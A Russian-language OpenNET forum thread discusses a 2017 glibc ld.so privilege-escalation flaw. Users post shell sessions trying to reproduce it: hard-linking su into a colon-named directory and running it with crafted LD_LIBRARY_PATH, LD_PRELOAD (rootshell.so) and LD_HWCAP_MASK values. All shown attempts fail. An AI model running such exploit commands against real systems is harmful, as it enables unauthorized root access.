The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..., opennews (??), 12-Дек-17, (0) [смотреть все]

Сообщения [Сортировка по времени | RSS]


9. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +5 +/
Сообщение от Andrey Mitrofanov (?), 12-Дек-17, 14:23 
> env: ./su: No such file or directory
> :(

..."локальный атакующий должен иметь возможность создания жесткой ссылки на исполняемый SUID-файл в каталог, содержащий двоеточие в имени."

Делай, как я:

...:/var/tmp/:/lib:/usr/lib:$ ln $(which su) .
ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная ссылка между устройствами
...:/var/tmp/:/lib:/usr/lib:$ _


---Здравствуйте, я зимбабвийский наследный иксплойт. Пож, запустите меня рутом.

Ответить | Правка | Наверх | Cообщить модератору

19. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +/
Сообщение от Аноним (-), 12-Дек-17, 15:55 
> Неверная ссылка между устройствами
> Пож, запустите меня рутом.

И как тебе рут в данном случае поможет? Делай ссылку в /tmp, если он у тебя не в tmpfs, конечно.

Ответить | Правка | Наверх | Cообщить модератору

22. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +3 +/
Сообщение от Аноним (-), 12-Дек-17, 16:14 
> если он у тебя не в tmpfs, конечно.

Расходимся, ребят. Опять мимо :(

Для справки: почти все дистрибутивы держат /tmp в tmpfs и более того, он noexec.

Ответить | Правка | Наверх | Cообщить модератору

24. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  –3 +/
Сообщение от Аноним (-), 12-Дек-17, 16:47 
> почти все дистрибутивы держат /tmp в tmpfs

Далеко не все.

> более того, он noexec

А это вообще крайне редко (полагаю, что по умолчанию — вообще нигде).

В случае чего есть ещё /var/tmp. Можешь начинать рассказывать, что у тебя и /var отдельно смонтирован.

Ответить | Правка | Наверх | Cообщить модератору

28. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +/
Сообщение от Andrey Mitrofanov (?), 12-Дек-17, 17:01 
> В случае чего есть ещё /var/tmp. Можешь начинать рассказывать, что у тебя
> и /var отдельно смонтирован.

Пора /bin отдельно монтировать!!111

Ответить | Правка | Наверх | Cообщить модератору

33. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  –1 +/
Сообщение от Аноним (-), 12-Дек-17, 17:09 
> Можешь начинать рассказывать, что у тебя
> и /var отдельно смонтирован.

По умолчанию даже netinstall это делает, пока не скажешь делать по другому. Хорошо, все крупные дистрибутивы это делают, в том числе Debian. Так лучше?

Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

39. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +2 +/
Сообщение от Аноним (-), 12-Дек-17, 17:36 
> Хорошо, все крупные дистрибутивы это делают, в том числе Debian. Так лучше?

Нет, не лучше. Лучше писать правду.

Ответить | Правка | Наверх | Cообщить модератору

54. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +/
Сообщение от Аноним (-), 13-Дек-17, 01:31 
Debian этого не делает и более того апт сыплет ошибками если /tmp смонтирован с noexec
Ответить | Правка | К родителю #33 | Наверх | Cообщить модератору

26. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +/
Сообщение от Andrey Mitrofanov (?), 12-Дек-17, 16:59 
>> Неверная ссылка между устройствами
>> Пож, запустите меня рутом.
> И как тебе рут в данном случае поможет? Делай ссылку в /tmp,
> если он у тебя не в tmpfs, конечно.

Не-не, мне не надо. Не надо мне помогать.

...нет, не tmpfs, но да:
ln: не удалось создать жёсткую ссылку «/tmp/su» => «/bin/su»: Неверная ссылка между устройствами

Ответить | Правка | К родителю #19 | Наверх | Cообщить модератору

40. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  –2 +/
Сообщение от Аноним (-), 12-Дек-17, 17:38 
Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве с /
Ответить | Правка | К родителю #9 | Наверх | Cообщить модератору

43. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +1 +/
Сообщение от Andrey Mitrofanov (?), 12-Дек-17, 17:43 
> Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве
> с /

Красная площадь, б.!


user:~$ ln $(which su) .
ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная ссылка между устройствами
user:~$ _

Ответить | Правка | Наверх | Cообщить модератору

55. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +1 +/
Сообщение от Аноним (-), 13-Дек-17, 01:34 
>> Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве
>> с /
> Красная площадь, б.!
> user:~$ ln $(which su) .
> ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная
> ссылка между устройствами
> user:~$ _

Это называет "руки из жопы". Эксплойт нормально запустить не может! Ж)

Ответить | Правка | Наверх | Cообщить модератору

59. "Уязвимость в Glibc ld.so, позволяющая поднять свои привилеги..."  +/
Сообщение от Andrey Mitrofanov (?), 13-Дек-17, 11:17 
>>> Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве
>>> с /
>> Красная площадь, б.!
>> user:~$ ln $(which su) .
>> ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная
>> ссылка между устройствами
>> user:~$ _
> Это называет "руки из жопы". Эксплойт нормально запустить не может! Ж)

Да-да, конечно-конечно, только не расстраивайся так.

user@ghost:~$ mkdir -p '/czar/tmp/:/lib:/usr/lib:'
user@ghost:~$ find /czar/tmp/
/czar/tmp/
/czar/tmp/:
/czar/tmp/:/lib:
/czar/tmp/:/lib:/usr
/czar/tmp/:/lib:/usr/lib:
user@ghost:~$ cd '/czar/tmp/:/lib:/usr/lib:'
user@ghost:/czar/tmp/:/lib:/usr/lib:$ ln $(wich su) .
bash: wich: команда не найдена
ln: «.»: не допускается создавать жёсткие ссылки на каталоги
user@ghost:/czar/tmp/:/lib:/usr/lib:$ ln $(which su) .
ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Операция не позволяется
.
.
.
root@novy:/czar/tmp/:/lib:/usr/lib:# ln $(which su) .
root@novy:/czar/tmp/:/lib:/usr/lib:# _
.
.
.
user@ghost:/czar/tmp/:/lib:/usr/lib:$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'os-release' from LD_PRELOAD cannot be preloaded: ignored.
ERROR: ld.so: object 'rootshell.so' from LD_PRELOAD cannot be preloaded: ignored.
Password: _


Не быть мне хаксором.  Как бы вам :-P этого ни хотелось.

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру